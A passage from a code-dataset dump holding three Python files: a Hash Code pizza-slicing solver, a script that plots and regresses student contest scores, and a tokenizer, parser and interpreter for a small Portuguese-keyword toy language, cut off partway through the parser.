main()\n","repo_name":"jnmclarty/pyenvdiff-lib","sub_path":"pyenvdiff/post_to_hub.py","file_name":"post_to_hub.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"99"} +{"seq_id":"35112478537","text":"import sys\nfrom math import ceil\nimport numpy as np\nfrom time import time\nfrom pizzaMath import *\n\ndef pizzaToNP(pizza,rows,cols):\n out = np.zeros([rows,cols], dtype=np.int8)\n for r in range(rows):\n for c in range(cols):\n if pizza[r][c] == 'T': out[r,c] = 1\n return out\n\ndef getConnections(pizza,rows,cols,minEach,maxCell,rRow,rCol):\n output = []\n taken = np.zeros([rows,cols],dtype=np.int8)\n sys.stdout.write(\"Progress: \")\n for r in range(rows) if rRow else range(rows-1,-1,-1):\n sys.stdout.write('%4d / %4d'%((r+1) if rRow else (rows-r),rows));\n sys.stdout.flush();\n sys.stdout.write('\\b'*11)\n for c in range(cols) if rCol else range(cols-1,-1,-1):\n if taken[r,c]: continue\n #import pdb; pdb.set_trace()\n currentReversed = 0 if pizza[r,c] else 1\n if r != 0:\n if pizza[r-1,c] == currentReversed and not taken[r-1,c]:\n #add this couple to the output\n toAdd = [r-1,c,r,c]\n rect,area,diff = getBiggestExtension(pizza,toAdd,taken,rows,cols,minEach,maxCell)\n if rect:\n fillTaken(taken,rect)\n output.append(rect)\n continue\n if r != rows-1:\n if pizza[r+1,c] == currentReversed and not taken[r+1,c]:\n #add this couple to the output\n toAdd = [r,c,r+1,c]\n rect,area,diff = getBiggestExtension(pizza,toAdd,taken,rows,cols,minEach,maxCell)\n if rect:\n fillTaken(taken,rect)\n output.append(rect)\n continue\n if c != 0:\n if pizza[r,c-1] == currentReversed and not taken[r,c-1]:\n toAdd = [r,c-1,r,c]\n rect,area,diff = getBiggestExtension(pizza,toAdd,taken,rows,cols,minEach,maxCell)\n if rect:\n fillTaken(taken,rect)\n output.append(rect)\n continue\n if c != cols-1:\n if pizza[r,c+1] == currentReversed and not taken[r,c+1]:\n toAdd = [r,c,r,c+1]\n rect,area,diff = getBiggestExtension(pizza,toAdd,taken,rows,cols,minEach,maxCell)\n if rect:\n fillTaken(taken,rect)\n output.append(rect)\n continue\n print()\n return output,taken\n\ndef improvePart(pizza,rows,cols,minEach,maxCell,rectangles,taken,r,c,toAdd):\n #import pdb; pdb.set_trace();\n deleteRects = [i for i in rectangles if isInside(r,c,i)]\n lostScore,oldDiff = 0,0\n for i in deleteRects:\n lostScore += getArea(i)\n emptyTaken(taken,i)\n rectangles.remove(i)\n oldDiff += countMinEach(pizza,i,minEach)\n rect,area,diff = getBiggestExtension(pizza,toAdd,taken,rows,cols,minEach,maxCell)\n if rect and (area>lostScore or (area==lostScore and diff>oldDiff)):\n fillTaken(taken,rect)\n rectangles.append(rect)\n return True\n else:\n for i in deleteRects:\n fillTaken(taken,i)\n rectangles.append(i)\n return False\n\n\ndef improve(pizza,rows,cols,minEach,maxCell,rectangles,taken):\n #taken = np.copy(take)\n sys.stdout.write(\"Progress: \")\n for r in range(rows):# if False else range(rows-1,-1,-1):\n sys.stdout.write('%4d / %4d'%((r+1),rows));\n sys.stdout.flush();\n sys.stdout.write('\\b'*11)\n for c in range(cols):\n if taken[r,c]: continue\n currentReversed = 0 if pizza[r,c] else 1\n if r != 0:\n if pizza[r-1,c] == currentReversed:\n toAdd = [r-1,c,r,c]\n if improvePart(pizza,rows,cols,minEach,maxCell,rectangles,taken,r-1,c,toAdd): continue\n if r != rows-1:\n if pizza[r+1,c] == currentReversed:\n toAdd = [r,c,r+1,c]\n if improvePart(pizza,rows,cols,minEach,maxCell,rectangles,taken,r+1,c,toAdd): continue\n if c != 0:\n if pizza[r,c-1] == currentReversed:\n toAdd = [r,c-1,r,c]\n if improvePart(pizza,rows,cols,minEach,maxCell,rectangles,taken,r,c-1,toAdd): continue\n if c != cols-1:\n if pizza[r,c+1] == currentReversed:\n toAdd = [r,c,r,c+1]\n if improvePart(pizza,rows,cols,minEach,maxCell,rectangles,taken,r,c+1,toAdd): continue\n print()\n return rectangles,taken\n\n\ndef cutPizza(filename):\n start = time()\n with open(filename) as f:\n data = f.read().split('\\n')\n pizzadata = data[1:]\n data = data[0].split(' ')\n\n minEach = int(data[2]) \n maxCell = int(data[3])\n\n rows = int(data[0])\n cols = int(data[1])\n \n pizza = pizzaToNP(pizzadata,rows,cols)\n \n bestRects = None\n bestScore = 0\n\n for it,combs in enumerate([[True,True],[False,False],[True,False],[False,True]]):\n print(\"\\033[91m\\n===ITERATION\",it+1,\"OF 4===\\n\\033[0m\");\n rectangles,taken = getConnections(pizza,rows,cols,minEach,maxCell,combs[0],combs[1]);\n oldScore = sum(getArea(r) for r in rectangles)\n print()\n print(\"\\033[92mInitial pass has been completed.\\033[0m\")\n print(\"Score:\\033[1m\",oldScore,\"\\033[0m\")\n print(\"Time elapsed:\",time()-start);\n print(\"Attemping to improve the score...\\n\")\n improve(pizza,rows,cols,minEach,maxCell,rectangles,taken)\n newScore = sum(getArea(r) for r in rectangles)\n print()\n print(\"\\033[92mCorrection pass has been completed.\\033[0m\")\n print(\"Score:\\033[1m\",newScore,\"\\033[0m\")\n print(\"Improvement:\",newScore-oldScore)\n print(\"Total Time elapsed:\",time()-start);\n if newScore>bestScore:\n bestScore =newScore\n bestRects = rectangles\n return bestRects,bestScore\n\n\ndef main():\n if len(sys.argv)<3:\n print(\"npPizza.py \");\n exit()\n solution,score = cutPizza(sys.argv[1])\n print(\"\\nFINISHED\")\n print(\"Final score:\",score);\n output = str(len(solution))+'\\n'\n output += '\\n'.join([ ' '.join(str(j) for j in i) for i in solution])\n with open(sys.argv[2],'w') as f:\n f.write(output)\n print(\"Output has been saved to %s\"%sys.argv[2])\n\nif __name__=='__main__':\n main()\n","repo_name":"necrashter/hashcode-pizza","sub_path":"npPizza.py","file_name":"npPizza.py","file_ext":"py","file_size_in_byte":6493,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"5460430974","text":"import pandas as pd\nimport numpy as np\nimport csv\nimport matplotlib.pyplot as plt\nfrom pandas.plotting import scatter_matrix\nfrom sklearn import linear_model\nfrom sklearn import datasets\n\ncontests = open('./contestlist.csv')\n\nfor contest in csv.reader(contests):\n print(contest[0])\n students = open('./studentlist.csv')\n \"\"\"\n with open('./'+contest[0]+'/students_data_'+contest[0]+'.csv', 'w') as csv_file:\n fieldnames = ['user_id', 'corr_start', 'corr_prev', 'coef_start', 'intercept_start', 'coef_prev', 'intercept_prev', 'max_score', 'prev_ave', 'prev_std']\n writer = csv.DictWriter(csv_file, fieldnames = fieldnames)\n writer.writeheader()\n \"\"\"\n\n total_score = 0\n count = 0\n for student in csv.reader(students):\n data = pd.read_csv('./'+contest[0]+'/'+student[0]+'.csv')\n v_data = pd.read_csv('./../vRoundEd/'+contest[0]+'/'+student[0]+'.csv')\n \n time_from_start = data[\"past_time_from_start\"]\n time_from_prev = data[\"past_time_from_prev\"]\n score =data[\"score\"]\n\n if student[0] <= 's17t200':\n continue\n \n if max(score) <= 0:\n continue\n correlation_start = np.corrcoef(time_from_start, score)\n correlation_prev = np.corrcoef(time_from_prev, score)\n prev_ave = np.average(time_from_prev)\n std_prev = np.std(time_from_prev)\n \n x_s = data.loc[:, ['past_time_from_start']]\n x_p = data.loc[:, ['past_time_from_prev']]\n y = data.loc[:, ['score']]\n \n clf_s = linear_model.LinearRegression()\n clf_s.fit(x_s, y)\n clf_p = linear_model.LinearRegression()\n clf_p.fit(x_p, y)\n \n users_data = [student[0], correlation_start[0][1], correlation_prev[0][1], clf_s.coef_[0][0], clf_s.intercept_[0], clf_p.coef_[0][0], clf_p.intercept_[0], max(score), prev_ave, std_prev]\n total_score += max(score)\n count += 1\n if (max(score) < float(contest[6])):\n if(max(time_from_prev) > 60):\n plt.plot(time_from_start, score, '-o', label=student[0],markersize=1,color='red', linewidth=1.7)\n print(student[0])\n else:\n plt.plot(time_from_start, score, '-o', label=student[0],markersize=1,color='blue',linewidth=1.0)\n else:\n plt.plot(time_from_start, score, '-o', label=student[0],markersize=1,color='black', linewidth=0.7)\n \"\"\"\n data['ds'] = pd.to_datatime(df['submit_time']).dt.date\n model = Prophet()\n \n model.fit(data)\n plt.scatter(time_from_start, score)\n \n future = model.make_future_dataframe(periods,300, freq = 'm')\n forecast = model.predict(future)\n forecast_data.tail(5)\n model.plot(forecast)\n model.plot_components(forecast)\n plt.show()\n \"\"\"\n \n #print(users_data)\n \"\"\"\n with open('./'+contest[0]+'/students_data_'+contest[0]+'.csv','a') as add_data:\n writer = csv.writer(add_data)\n writer.writerow(users_data)\n \"\"\"\n #print('correlation_from_start: ' + str(correlation_start[0][1]))\n #print('correlation_from_prev: ' + str(correlation_prev[0][1])) \n # print(total_score/count)\n \n plt.xlabel('time')\n plt.ylabel('score')\n plt.xlim(0, 180)\n plt.legend(loc='upper left')\n plt.grid()\n plt.show()\n \n#print contests[\"contest_id\"]\n","repo_name":"yamakenji24/Analyze_Tool","sub_path":"tProgrEss/analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":3444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"30610408455","text":"import sys\n\nTT_INT\t\t = 'INT'\nTT_PLUS = 'PLUS'\nTT_MINUS = 'MINUS'\nTT_MULT = 'MULT'\nTT_DIV = 'DIV'\nTT_OP = 'OP'\nTT_CP = 'CP'\nTT_OC = 'OC'\nTT_CC = 'CC'\nTT_EQUAL = \"EQUAL\"\nTT_VAR = \"IDENTIFIER\"\nTT_QL = \"QL\"\nTT_EE = \"EE\"\nTT_GT = \"GT\"\nTT_LT = \"LT\"\nTT_AND = \"e\"\nTT_OR = \"ou\"\nTT_NOT = \"nem\"\nTT_DOT = \"ponto\"\nTT_STR = \"Texto\"\nTT_VIR = \"virgula\"\nTT_DOISPONTOS = 'DOISPONTOS'\nTT_EOF = 'EOF'\n\nclass Token:\n def __init__(self, type_, value=None):\n self.type = type_\n self.value = value\n \n def __repr__(self):\n if self.value: return f'{self.type}:{self.value}'\n return f'{self.type}'\n\n\nclass Tokenizer:\n def __init__(self,source):\n self.source = source\n self.position = 0\n self.next = None\n \n def selectNext(self):\n lista_Reservadas = [\"Amostre\",\"Leia\",\"SoSe\",\"SeNumFor\",\"ArrochaEnquanto\",\"FIM\",\"Int\",\"Texto\",\"Devolva\",\"Trabalho\"]\n while self.position < len(self.source) and self.source[self.position] == \" \":\n self.position += 1\n\n if self.position >= len(self.source):\n self.next = Token(TT_EOF,None)\n else:\n source = self.source\n caracter = source[self.position]\n\n if caracter.isalpha():\n variavel = self.make_identifier()\n if variavel in lista_Reservadas:\n self.next = Token(variavel,variavel)\n else:\n self.next = Token(TT_VAR,variavel)\n return self.next\n\n if caracter.isdigit():\n if source[self.position + 1].isalpha():\n raise Exception(\"variavel invalida\")\n else:\n num = self.make_number()\n self.next = Token(TT_INT,num)\n return self.next\n\n elif caracter == \"+\":\n self.next = Token(TT_PLUS,None)\n self.position += 1\n return self.next\n \n elif caracter == \"-\":\n self.next = Token(TT_MINUS,None)\n self.position += 1\n return self.next\n\n elif caracter == \"*\":\n self.next = Token(TT_MULT,None)\n self.position += 1\n return self.next\n \n elif caracter == \"/\":\n self.next = Token(TT_DIV,None)\n self.position += 1\n return self.next\n\n elif caracter == \"(\":\n self.next = Token(TT_OP,None)\n self.position += 1\n return self.next\n\n elif caracter == \")\":\n self.next = Token(TT_CP,None)\n self.position += 1\n return self.next\n elif caracter == \"{\":\n self.next = Token(TT_OC,None)\n self.position += 1\n return self.next\n\n elif caracter == \"}\":\n self.next = Token(TT_CC,None)\n self.position += 1\n return self.next\n\n elif caracter == \"\\n\":\n self.next = Token(TT_QL,None)\n self.position += 1\n return self.next\n \n elif caracter == \"=\":\n if source[self.position + 1] == \"=\":\n self.next = Token(TT_EE,None)\n self.position += 2\n else:\n self.next = Token(TT_EQUAL,None)\n self.position += 1\n return self.next\n\n elif caracter == \">\":\n self.next = Token(TT_GT,None)\n self.position += 1\n return self.next\n\n elif caracter == \"<\":\n self.next = Token(TT_LT,None)\n self.position += 1\n return self.next\n elif caracter == \"&\" and source[self.position + 1] == \"&\":\n self.next = Token(TT_AND,None)\n self.position += 2\n return self.next\n elif caracter == \"|\" and source[self.position + 1] == \"|\":\n self.next = Token(TT_OR,None)\n self.position += 2\n return self.next\n\n elif caracter == \"!\":\n self.next = Token(TT_NOT,None)\n self.position += 1\n return self.next\n\n elif caracter == \".\":\n self.next = Token(TT_DOT,None)\n self.position += 1\n return self.next\n\n elif caracter == \":\":\n if source[self.position + 1] == \":\":\n self.next = Token(TT_DOISPONTOS,None)\n self.position += 2\n else:\n raise Exception(\"Invalido\")\n return self.next\n\n elif caracter == \",\":\n self.next = Token(TT_VIR,None)\n self.position += 1\n return self.next\n\n\n elif caracter == '\"':\n self.position += 1\n palavra = \"\"\n while (self.source[self.position] != '\"'):\n palavra += self.source[self.position]\n self.position +=1 \n if (self.position >= len(self.source)):\n raise Exception(\"não fechou aspas\")\n self.position += 1 \n self.next = Token(TT_STR,palavra)\n return self.next\n\n else:\n raise Exception(\"Invalido\")\n\n def make_number(self):\n source = self.source\n num_str = ''\n while source[self.position] != None and source[self.position].isdigit():\n num_str += source[self.position]\n\n if (self.position == len(source) - 1):\n self.position += 1\n break\n\n self.position += 1\n\n\n return int(num_str)\n\n def make_identifier(self):\n source = self.source\n variavel = ''\n while source[self.position] != None and (source[self.position].isalpha() or source[self.position].isdigit() or source[self.position] == \"_\"):\n variavel += source[self.position]\n if (self.position == len(source) - 1):\n self.position += 1\n break\n\n self.position += 1\n\n return variavel\n\n\n\nclass Node:\n def __init__(self,value,children):\n self.value = value\n self.children = children\n\n def Evaluate(self,symbol_table):\n pass\n\nclass BinOp(Node):\n def __init__(self, value, children):\n super().__init__(value, children)\n self.value = value\n self.children = children\n\n def Evaluate(self,symbol_table):\n filho_esquerda = self.children[0].Evaluate(symbol_table)[0]\n filho_direita = self.children[1].Evaluate(symbol_table)[0]\n \n tipo_esquerda = self.children[0].Evaluate(symbol_table)[1]\n tipo_direita = self.children[1].Evaluate(symbol_table)[1]\n\n\n\n if self.value == \"+\":\n if tipo_esquerda != tipo_direita:\n raise Exception(\"Tipos diferentes\")\n return ((filho_esquerda + filho_direita), \"Int\")\n elif self.value == \"-\":\n if tipo_esquerda != tipo_direita:\n raise Exception(\"Tipos diferentes\")\n return ((filho_esquerda - filho_direita),\"Int\")\n elif self.value == \"*\":\n if tipo_esquerda != tipo_direita:\n raise Exception(\"Tipos diferentes\")\n return ((filho_esquerda * filho_direita),\"Int\")\n elif self.value == \"/\":\n if tipo_esquerda != tipo_direita:\n raise Exception(\"Tipos diferentes\")\n return ((filho_esquerda // filho_direita), \"Int\")\n elif self.value == \"==\":\n return ((int(filho_esquerda == filho_direita)), \"Int\")\n elif self.value == \"&&\":\n return ((int(filho_esquerda and filho_direita)), \"Int\")\n elif self.value == \"||\":\n return ((int(filho_esquerda or filho_direita)), \"Int\")\n elif self.value == \">\":\n return ((int(filho_esquerda > filho_direita)), \"Int\")\n elif self.value == \"<\":\n return ((int(filho_esquerda < filho_direita)), \"Int\")\n elif self.value == \".\":\n return ((str(self.children[0].Evaluate(symbol_table)[0]) + str(self.children[1].Evaluate(symbol_table)[0])), \"Texto\")\n\nclass UnOp(Node):\n def __init__(self, value, children):\n super().__init__(value, children)\n \n def Evaluate(self,symbol_table):\n if self.value == \"+\":\n return (self.children[0].Evaluate(symbol_table)[0], \"Int\")\n elif self.value == \"-\":\n return (-self.children[0].Evaluate(symbol_table)[0], \"Int\")\n elif self.value == \"!\":\n return (not(self.children[0].Evaluate(symbol_table)[0]), \"Int\")\n\n\nclass IntVal(Node):\n def __init__(self, value, children):\n super().__init__(value, children)\n \n def Evaluate(self,symbol_table):\n return (self.value,\"Int\")\n\nclass NoOp(Node):\n def __init__(self, value, children):\n super().__init__(value, children)\n\n def Evaluate(self,symbol_table):\n pass\n\n\nclass Block(Node):\n def __init__(self, value, children):\n super().__init__(value, children)\n \n def Evaluate(self,symbol_table):\n for filho in self.children:\n if filho.__class__.__name__ == \"ReturnNode\":\n return filho.Evaluate(symbol_table)\n filho.Evaluate(symbol_table)\n \nclass EqualNode(Node):\n def __init__(self, value, children):\n super().__init__(value, children)\n \n def Evaluate(self,symbol_table):\n tipo = self.children[0].value\n no = self.children[1].Evaluate(symbol_table)\n symbol_table.set(tipo,(no[0],no[1]))\n\nclass IdentifierNode(Node):\n def __init__(self, value,children):\n super().__init__(value,children)\n \n def Evaluate(self,symbol_table):\n return symbol_table.get(self.value)\n\nclass PrintNode(Node):\n def __init__(self, value,children):\n super().__init__(value,children)\n \n def Evaluate(self,symbol_table):\n print(self.children[0].Evaluate(symbol_table)[0])\n\nclass SymbolTable:\n\n def __init__(self):\n self.table = {}\n\n def create(self,identifier: IdentifierNode, tupla):\n\n tipo = tupla[1]\n valor = tupla[0]\n\n if identifier in self.table.keys():\n raise Exception(\"ja declarada\")\n\n if tipo == \"Int\":\n self.table[identifier] = (valor, tipo)\n elif tipo == \"Texto\":\n self.table[identifier] = (valor, tipo)\n\n\n def get(self,identifier):\n if identifier in self.table:\n return self.table[identifier]\n else:\n raise Exception(\"variable not found\")\n\n def set(self,identifier,value):\n if identifier in self.table:\n if self.table[identifier][1] == value[1]:\n self.table[identifier] = value\n else:\n raise Exception(\"erro de tipo\")\n else:\n self.table[identifier] = value\n\n\n\nclass FuncTable:\n table = {}\n def create(Identifier, pointer, type):\n if Identifier in FuncTable.table.keys():\n raise ValueError(f\"Function already declared\")\n FuncTable.table[Identifier] = (pointer, type)\n def get(identifier):\n if identifier in FuncTable.table:\n return FuncTable.table[identifier]\n else:\n raise Exception(\"variable not found\")\n\n\n\n\nclass FuncDec(Node):\n def __init__(self, value, children):\n super().__init__(value, children)\n def Evaluate(self, symbol_table):\n FuncTable.create(self.children[0].value, self, self.value)\n\n\n\n\n\nclass FuncCall(Node):\n def __init__(self, value, children):\n super().__init__(value, children)\n def Evaluate(self, symbol_table):\n argumentos = []\n new_func, type_func = FuncTable.get(self.value)\n new_ST = SymbolTable()\n for vardec in new_func.children[1]:\n argumentos.append(vardec.children[0].value)\n vardec.Evaluate(new_ST)\n\n if len(argumentos) != len(self.children):\n raise ValueError(\"Invalid number of argumentos\")\n for i in range(len(argumentos)):\n new_ST.set(argumentos[i], self.children[i].Evaluate(symbol_table))\n ret = new_func.children[-1].Evaluate(new_ST)\n if type_func != ret[1]:\n raise ValueError(\n f\"Cannot return {ret[1]} from function expecting {type_func}\"\n )\n return ret\n\nclass ReturnNode(Node):\n def __init__(self, value, children):\n super().__init__(value, children)\n\n def Evaluate(self, symbol_table):\n return self.children[0].Evaluate(symbol_table)\n\n\n\nclass WhileNode(Node):\n def __init__(self, value,children):\n super().__init__(value,children)\n \n def Evaluate(self,symbol_table):\n while(self.children[0].Evaluate(symbol_table)[0]):\n self.children[1].Evaluate(symbol_table)\n\nclass IfNode(Node):\n def __init__(self, value,children):\n super().__init__(value,children)\n \n def Evaluate(self,symbol_table):\n if (self.children[0].Evaluate(symbol_table) == True):\n self.children[1].Evaluate(symbol_table)\n elif (len(self.children)) > 2:\n self.children[2].Evaluate(symbol_table)\n\nclass ReadNode(Node):\n def __init__(self, value,children):\n super().__init__(value,children)\n \n def Evaluate(self,symbol_table):\n return (int(input()),\"Int\")\n\n\nclass VarDecNode(Node):\n def __init__(self, value,children):\n super().__init__(value,children)\n \n def Evaluate(self,symbol_table):\n ident = self.children[0].value\n numero = self.children[1].value\n tipo_var = self.children[1].Evaluate(symbol_table)[1]\n symbol_table.create(ident, (numero, tipo_var))\n\nclass StringNode(Node):\n def __init__(self, value,children):\n super().__init__(value,children)\n \n def Evaluate(self,symbol_table):\n return (self.value,TT_STR)\n\nclass Parser():\n tokenizer = None\n @ staticmethod\n def parseRelExpression():\n resultado_exp = Parser.parseExpression()\n while (Parser.tokenizer.next.type == \"EE\" or Parser.tokenizer.next.type == \"GT\" or Parser.tokenizer.next.type == \"LT\" or Parser.tokenizer.next.type == \"ponto\"):\n tipo = Parser.tokenizer.next.type\n if tipo == \"EE\":\n Parser.tokenizer.selectNext()\n resultado_exp = BinOp(\"==\",[resultado_exp,Parser.parseExpression()])\n elif tipo == \"GT\":\n Parser.tokenizer.selectNext()\n resultado_exp = BinOp(\">\",[resultado_exp,Parser.parseExpression()])\n elif tipo == \"LT\":\n Parser.tokenizer.selectNext()\n resultado_exp = BinOp(\"<\",[resultado_exp,Parser.parseExpression()])\n elif tipo == \"ponto\":\n Parser.tokenizer.selectNext()\n resultado_exp = BinOp(\".\",[resultado_exp,Parser.parseExpression()])\n return resultado_exp\n\n @ staticmethod\n def parseExpression():\n resultado_Term = Parser.parseTerm()\n while (Parser.tokenizer.next.type == \"MINUS\" or Parser.tokenizer.next.type == \"PLUS\" or Parser.tokenizer.next.type == \"ou\"):\n tipo = Parser.tokenizer.next.type\n if tipo == \"MINUS\":\n Parser.tokenizer.selectNext()\n resultado_Term = BinOp(\"-\",[resultado_Term,Parser.parseTerm()])\n elif tipo == \"PLUS\":\n Parser.tokenizer.selectNext()\n resultado_Term = BinOp(\"+\",[resultado_Term,Parser.parseTerm()])\n elif tipo == \"ou\":\n Parser.tokenizer.selectNext()\n resultado_Term = BinOp(\"||\",[resultado_Term,Parser.parseTerm()])\n return resultado_Term\n\n @ staticmethod\n def parseTerm():\n resultado_factor = Parser.parseFactor()\n while (Parser.tokenizer.next.type == \"DIV\" or Parser.tokenizer.next.type == \"MULT\" or Parser.tokenizer.next.type == \"e\"):\n tipo = Parser.tokenizer.next.type\n if tipo == \"MULT\":\n Parser.tokenizer.selectNext()\n resultado_factor = BinOp(\"*\",[resultado_factor,Parser.parseFactor()])\n elif tipo == \"DIV\":\n Parser.tokenizer.selectNext()\n resultado_factor = BinOp(\"/\",[resultado_factor,Parser.parseFactor()])\n elif tipo == \"e\":\n Parser.tokenizer.selectNext()\n resultado_factor = BinOp(\"&&\",[resultado_factor,Parser.parseFactor()])\n return resultado_factor\n\n\n @ staticmethod\n def parseFactor():\n if Parser.tokenizer.next.type == \"INT\":\n reul_op = Parser.tokenizer.next.value\n Parser.tokenizer.selectNext()\n return IntVal(reul_op,[])\n if Parser.tokenizer.next.type == \"Texto\":\n node_str = StringNode(Parser.tokenizer.next.value, TT_STR)\n Parser.tokenizer.selectNext()\n return node_str\n \n elif Parser.tokenizer.next.type == \"IDENTIFIER\":\n id_token = Parser.tokenizer.next.value\n identifier = IdentifierNode(Parser.tokenizer.next.value, [])\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type == \"OP\":\n call_node = FuncCall(id_token,[])\n Parser.tokenizer.selectNext()\n while Parser.tokenizer.next.type != \"CP\":\n call_node.children.append(Parser.parseRelExpression())\n if Parser.tokenizer.next.type == \"virgula\":\n Parser.tokenizer.selectNext()\n Parser.tokenizer.selectNext()\n return call_node\n return identifier\n\n if Parser.tokenizer.next.type == \"PLUS\":\n Parser.tokenizer.selectNext()\n return UnOp(\"+\",[Parser.parseFactor()])\n if Parser.tokenizer.next.type == \"MINUS\":\n Parser.tokenizer.selectNext()\n return UnOp(\"-\",[Parser.parseFactor()])\n if Parser.tokenizer.next.type == \"nem\":\n Parser.tokenizer.selectNext()\n return UnOp(\"!\",[Parser.parseFactor()])\n if Parser.tokenizer.next.type == \"OP\":\n Parser.tokenizer.selectNext()\n reul_op = Parser.parseRelExpression()\n if Parser.tokenizer.next.type == \"CP\":\n Parser.tokenizer.selectNext()\n return reul_op\n else:\n raise Exception(\"Não fechou parenteses\")\n\n if Parser.tokenizer.next.type == \"Leia\":\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type == \"OP\":\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type == \"CP\":\n Parser.tokenizer.selectNext() \n return ReadNode([],[]) \n else:\n raise Exception(\"Invalido\")\n\n @ staticmethod\n def parseBlock():\n node = Block(\"\",[])\n while (Parser.tokenizer.next.type != \"EOF\"):\n child = Parser.parseStatement()\n node.children.append(child)\n Parser.tokenizer.selectNext()\n return node\n\n @ staticmethod\n def parseStatement():\n if Parser.tokenizer.next.type == \"QL\":\n Parser.tokenizer.selectNext()\n return NoOp(\"\",\"\")\n \n if Parser.tokenizer.next.type == \"IDENTIFIER\":\n node_identifier = IdentifierNode(Parser.tokenizer.next.value,[])\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type == \"EQUAL\":\n Parser.tokenizer.selectNext()\n node_equal = EqualNode(\"\",[node_identifier,Parser.parseRelExpression()])\n if Parser.tokenizer.next.type == \"QL\":\n Parser.tokenizer.selectNext() \n return node_equal\n else:\n raise Exception(\"Não terminou com quebra de linha\")\n if Parser.tokenizer.next.type == \"DOISPONTOS\":\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type in [\"Int\", \"Texto\"]:\n tipo = Parser.tokenizer.next.type\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type == \"QL\":\n Parser.tokenizer.selectNext()\n if tipo == \"Int\":\n return VarDecNode(tipo,[node_identifier,IntVal(0,[])])\n elif tipo == \"Texto\":\n return VarDecNode(tipo,[node_identifier,StringNode(\"\",TT_STR)])\n elif Parser.tokenizer.next.type == \"EQUAL\":\n Parser.tokenizer.selectNext()\n resul_exp = Parser.parseRelExpression()\n if Parser.tokenizer.next.type == \"QL\":\n Parser.tokenizer.selectNext() \n node_dec = VarDecNode(tipo,[node_identifier,resul_exp])\n return node_dec\n else:\n raise Exception(\"Não terminou com quebra de linha\")\n \n\n if Parser.tokenizer.next.type == \"OP\":\n Parser.tokenizer.selectNext()\n call_node = FuncCall(node_identifier.value,[])\n while True:\n call_node.children.append(Parser.parseRelExpression())\n if Parser.tokenizer.next.type != \"virgula\":\n raise Exception(\"Não terminou com virgula\")\n if Parser.tokenizer.next.type == \"CP\":\n Parser.tokenizer.selectNext()\n break\n Parser.tokenizer.selectNext()\n return call_node\n \n\n elif Parser.tokenizer.next.type == \"Trabalho\":\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type != \"IDENTIFIER\":\n raise Exception (\"Error in function declaration\")\n func_ident = IdentifierNode(Parser.tokenizer.next.value, [])\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type != \"OP\":\n raise Exception (\"Error in function declaration\")\n Parser.tokenizer.selectNext()\n func_argumentos = []\n if Parser.tokenizer.next.type != \"CP\":\n while True:\n arg_ident = IdentifierNode(Parser.tokenizer.next.value, [])\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type != \"DOISPONTOS\":\n raise Exception(\"Problema com dois pontos\")\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type not in [\"Int\", \"Texto\"]:\n raise Exception(\"Problem with argument type\")\n if Parser.tokenizer.next.type == \"Int\":\n func_argumentos.append(VarDecNode(Parser.tokenizer.next.value, [arg_ident, IntVal(0,[])]))\n elif Parser.tokenizer.next.type == \"Texto\":\n func_argumentos.append(VarDecNode(Parser.tokenizer.next.value, [arg_ident, StringNode(\"\",TT_STR)]))\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type == \"CP\":\n break\n if Parser.tokenizer.next.type != \"virgula\":\n raise Exception(\"Problema com virgula\")\n Parser.tokenizer.selectNext()\n Parser.tokenizer.selectNext() \n if Parser.tokenizer.next.type != \"DOISPONTOS\":\n raise Exception(\"Problema com dois pontos\")\n Parser.tokenizer.selectNext() \n if Parser.tokenizer.next.type not in [\"Int\", \"Texto\"]:\n raise Exception(\"Problem with return type\")\n func_ret_type = Parser.tokenizer.next.value\n Parser.tokenizer.selectNext() \n if Parser.tokenizer.next.type != \"QL\":\n raise Exception(\"Prolem with quebra de linha\")\n func_block = Block(\"\",[])\n Parser.tokenizer.selectNext()\n while True:\n if Parser.tokenizer.next.type == \"FIM\":\n break\n if Parser.tokenizer.next.type == \"EOF\":\n raise Exception(\"Não fechou função\")\n statement_val = Parser.parseStatement()\n func_block.children.append(statement_val)\n Parser.tokenizer.selectNext() \n return_node = FuncDec(func_ret_type, [func_ident, func_argumentos, func_block])\n return return_node\n\n\n elif Parser.tokenizer.next.type == \"Devolva\":\n Parser.tokenizer.selectNext()\n return ReturnNode(\"Devolva\", [Parser.parseRelExpression()])\n \n elif Parser.tokenizer.next.type == \"Amostre\":\n Parser.tokenizer.selectNext()\n if Parser.tokenizer.next.type == \"OP\":\n Parser.tokenizer.selectNext()\n node_print = PrintNode(\"Amostre\",[Parser.parseRelExpression()])\n if Parser.tokenizer.next.type == \"CP\":\n Parser.tokenizer.selectNext()\n\n if Parser.tokenizer.next.type == \"QL\":\n Parser.tokenizer.selectNext()\n return node_print\n else:\n raise Exception(\"Não terminou com Ponto e Virgula\")\n else:\n raise Exception(\"Não fechou parenteses\")\n else:\n raise Exception(\"Não abriu parenteses\")\n \n elif Parser.tokenizer.next.type == \"ArrochaEnquanto\":\n Parser.tokenizer.selectNext()\n resul_rel = Parser.parseRelExpression()\n while_block = Block(None,[])\n if Parser.tokenizer.next.type == \"QL\":\n Parser.tokenizer.selectNext()\n while True:\n if Parser.tokenizer.next.type == \"FIM\":\n Parser.tokenizer.selectNext()\n break\n statement_val = Parser.parseStatement()\n while_block.children.append(statement_val)\n if Parser.tokenizer.next.type == \"EOF\":\n raise Exception(\"Não fechou while\")\n return WhileNode(\"ArrochaEnquanto\",[resul_rel,while_block])\n\n\n elif Parser.tokenizer.next.type == \"SoSe\":\n Parser.tokenizer.selectNext()\n resul_rel = Parser.parseRelExpression()\n ifblock = Block(None,[])\n if Parser.tokenizer.next.type == \"QL\":\n 